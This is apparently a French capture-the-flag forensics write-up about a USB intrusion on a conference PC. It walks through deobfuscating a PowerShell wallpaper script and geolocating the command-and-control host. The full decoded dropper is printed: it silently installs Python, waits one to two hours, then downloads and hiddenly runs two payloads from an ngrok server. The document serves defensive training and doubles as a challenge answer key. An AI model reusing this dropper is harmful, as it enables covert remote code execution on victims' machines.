Identifiez la source de l’incident et reconstituez l’attaque grâce aux indices fournis.
Saurez-vous relever le défi de l'équipe de défense ?
## Objectif de la mission :
Identifier la source de l'activité suspecte détectée sur le poste analysé, comprendre le vecteur d'attaque utilisé et reconstituer le déroulement complet de l'incident.
Votre analyse devra permettre d'expliquer comment l'attaque a été introduite, et à quel moment, afin de proposer des mesures de prévention adaptées.
## Documents mis à votre disposition :
Vous disposez des éléments suivants :
- Un ensemble de logs système, fichiers issus de la capture, et artefacts récupérés par le SOC après l'incident
- Des informations préalables liées à l'organisation interne, notamment le planning des conférences des salles le jour de l'incident et les éléments relatifs aux activités prévues par l'utilisateur concerné.
## Votre rôle :
En tant que membre de l'équipe de défense, vous devez analyser minutieusement les données disponibles afin de déterminer l'origine de l'activité suspecte et de comprendre comment l'attaque s'est déroulée. Chaque détail peut s'avérer déterminant pour reconstituer l'incident et renforcer la sécurité face à de futures menaces.
En analysant les logs réseau et système fournis, on observe un événement correspondant à l'insertion d'un périphérique USB à (→ flag[1]).
Cette heure coïncide avec un moment où l'utilisateur légitime était sur scène pour une intervention, ce qui exclut toute action de sa part.

Cette concordance temporelle indique une intrusion physique via une clé USB, probablement connectée par un tiers pendant l'absence de l'utilisateur.
On peut aussi voir que peu de temps après la même clé a été retirée.

Une fois que les joueurs ont trouvé les actions effectuées sur le PC d'Alysson, nous mettons à disposition le fond d'écran ainsi que le script qu'il contenait, les joueurs doivent le désobfusquer et ensuite l'analyser.
Nous utilisons un script Python pour désobfusquer ce fichier afin de pouvoir lire correctement, l'output que nous obtenons est un fichier avec le nom du fichier de base puis l'extension .txt.
Voici un script qui pourrait être utilisé pour désobfusquer le fichier :
import argparse
import base64
import re
from pathlib import Path
def fix_base64_padding(s: str) -> str:
pad = (-len(s)) % 4
if pad:
s += "=" * pad
return s
def decode_reversed_b64(s: str) -> bytes:
rev = s[::-1]
rev = fix_base64_padding(rev)
return base64.b64decode(rev)
def extract_main_b64(ps_text: str) -> str:
m = re.search(r'=\s*"([^"]+)"\s*;', ps_text)
if not m:
raise ValueError("Impossible de trouver la chaîne principale en double guillemets.")
return m.group(1)
def extract_small_b64_strings(ps_text: str):
return re.findall(r"'([A-Za-z0-9+/=]{4,})'", ps_text)
def main():
parser = argparse.ArgumentParser(
description="Déobfuscation simple pour reverse + Base64"
)
parser.add_argument("input", help="Script PowerShell obfusqué.")
parser.add_argument(
"-o", "--output",
default="fond_ecran_deobfusque.txt",
help="Fichier de sortie pour le payload décodé (texte brut)."
)
args = parser.parse_args()
ps_path = Path(args.input)
data = ps_path.read_bytes()
try:
ps_text = data.decode("utf-16le")
except UnicodeError:
ps_text = data.decode("utf-8", errors="replace")
main_b64 = extract_main_b64(ps_text)
payload = decode_reversed_b64(main_b64)
out_path = Path(args.output)
out_path.write_bytes(payload)
print(f"[+] Payload principal décodé écrit dans : {out_path}")
small = extract_small_b64_strings(ps_text)
if small:
print("\n[+] Chaînes Base64 supplémentaires (alias / commande) :")
for s in small:
try:
decoded = decode_reversed_b64(s).decode("utf-8", errors="replace")
print(f" - '{s}' -> '{decoded}'")
except Exception as e:
print(f" - '{s}' -> erreur de décodage ({e})")
if __name__ == "__main__":
main()
Il cherche des chaînes encodées en Base64 mais inversées, les remet à l'endroit, corrige leur padding, les décode, puis écrit le payload décodé dans un fichier.
Il gère :
- un payload principal
- des petites chaînes supplémentaires
C'est un script de désobfuscation simple basé sur des chaînes Base64 + reverse.
Voici le script que nous obtenons une fois le fichier désobfusqué :
@echo off
where python >nul 2>&1
if %ERRORLEVEL% NEQ 0 (
powershell -Command "Invoke-WebRequest https://www.python.org/ftp/python/3.12.2/python-3.12.2-amd64.exe -OutFile python-installer.exe"
python-installer.exe /quiet InstallAllUsers=1 PrependPath=1
timeout /t 10 >nul
)
python -c "sType = 'lFGLfle1';import base64,platform,os,subprocess,sys,time,random;try:import requests;except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests;ot=platform.system();home=os.path.expanduser('~');print(f'{home = }');host2='https://20ac-37-174-203-9.ngrok-free.app';pd=os.path.join(home,'.n2');ap=pd+'/pay';time.sleep(random.randint(3600,7200));def download_payload():\n if os.path.exists(ap):\n try:os.remove(ap)\n except OSError:return True\n try:\n if not os.path.exists(pd):os.makedirs(pd)\n except:pass\n try:\n aa=requests.get(host2+'/payload/'+sType,allow_redirects=True);print(f'{aa = }');with open(ap,'wb') as f:f.write(aa.content);return True\n except Exception as e:return False\nres=download_payload();\nif res:\n if ot=='Windows':subprocess.Popen([sys.executable,ap],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)\n else:subprocess.Popen([sys.executable,ap])\nif ot=='Darwin':sys.exit(-1)\nap=pd+'/bow';\ndef download_browse():\n if os.path.exists(ap):\n try:os.remove(ap)\n except OSError:return True\n try:\n if not os.path.exists(pd):os.makedirs(pd)\n except:pass\n try:\n aa=requests.get(host2+'/brow/'+sType,allow_redirects=True);with open(ap,'wb') as f:f.write(aa.content);return True\n except Exception as e:return False\nres=download_browse();\nif res:\n if ot=='Windows':subprocess.Popen([sys.executable,ap],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)\n
Ce script, en résumé, sert de dropper :
il installe Python si besoin, attend 1 à 2 heures, puis télécharge et exécute discrètement deux payloads py depuis un serveur distant caché derrière ngrok.
Actions correctes pour la question 2 (→ flag[2])
L'analyse du fichier malveillant principal (→ flag[3]) a permis d'identifier un comportement de type downloader visant à récupérer et exécuter des charges supplémentaires depuis un serveur externe.
Aucune trace de trafic réseau n'étant disponible (pas de logs firewall, proxy ou capture pcap), la géolocalisation a été effectuée exclusivement à partir des informations contenues dans le script.
Le script contient en dur une URL de command-and-control utilisée pour télécharger plusieurs charges utiles :
https://20ac-37-174-203-9.ngrok-free.app
Cette adresse est construite à travers la variable host2 dans le code Python embarqué dans (→ flag[3]).
Les charges sont récupérées via des routes de type :
- /payload/<identifiant>
- /brow/<identifiant>
Il s'agit donc d'une infrastructure d'attaque reposant sur Ngrok, un service permettant d'exposer un serveur local via un tunnel éphémère accessible sur Internet.
Le domaine identifié dans le script a été extrait automatiquement à l'aide d'un script Python d'analyse (extraction regex puis parsing d'URL).
La résolution DNS a ensuite été réalisée afin d'obtenir les adresses IP réellement utilisées par le tunnel.
Voici le script :
import re
import socket
import requests
from urllib.parse import urlparse
SCRIPT_PATH = #le fichier a desobfusquer
URL_RE = re.compile(r'https?://[^\s\'"]+')
def extract_urls_from_script(path):
with open(path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
return set(URL_RE.findall(content))
def extract_domains(urls):
domains = set()
for url in urls:
try:
parsed = urlparse(url)
if parsed.hostname:
domains.add(parsed.hostname)
except:
pass
return domains
def resolve_domain(domain):
try:
_, _, ips = socket.gethostbyname_ex(domain)
return ips
except Exception:
return []
def geolocate_ip(ip):
try:
response = requests.get(
f"http://ip-api.com/json/{ip}",
params={"fields": "status,country,regionName,city,isp,org,lat,lon,query"},
timeout=5
)
data = response.json()
if data.get("status") == "success":
return data
except Exception:
pass
return {"query": ip, "error": "lookup failed"}
def main():
urls = extract_urls_from_script(SCRIPT_PATH)
print("URLs trouvées :\n")
for u in urls:
print(" -", u)
domains = extract_domains(urls)
print("Domaines détectés :\n")
for d in domains:
print(" -", d)
print("Résolution DNS :\n")
all_ips = set()
for d in domains:
ips = resolve_domain(d)
print(f" {d} -> {ips}")
all_ips.update(ips)
print("Géolocalisation des IP :\n")
for ip in all_ips:
geo = geolocate_ip(ip)
print(
f" {geo.get('query')} -> {geo.get('country')} "
f"/ {geo.get('regionName')} / {geo.get('city')} "
f"| ISP: {geo.get('isp')} | ORG: {geo.get('org')}"
)
if __name__ == "__main__":
main()
Le domaine détecté est :
20ac-37-174-203-9.ngrok-free.app
La résolution DNS réalisée par le script Python fournit les IP associées au service Ngrok au moment de l'analyse (valeurs variables selon la session Ngrok en cours, le service étant dynamique et non persistant).
Les adresses IP résolues ont été géolocalisées via l'API publique ip-api.com.
La géolocalisation renvoie donc l'emplacement du serveur Ngrok, et non celui de l'attaquant réel.
Les informations retournées incluent :
Ces données permettent d'identifier l'emplacement du nœud d'infrastructure utilisé mais ne permettent pas de remonter directement à l'origine de l'attaquant, puisque Ngrok agit comme un relayeur.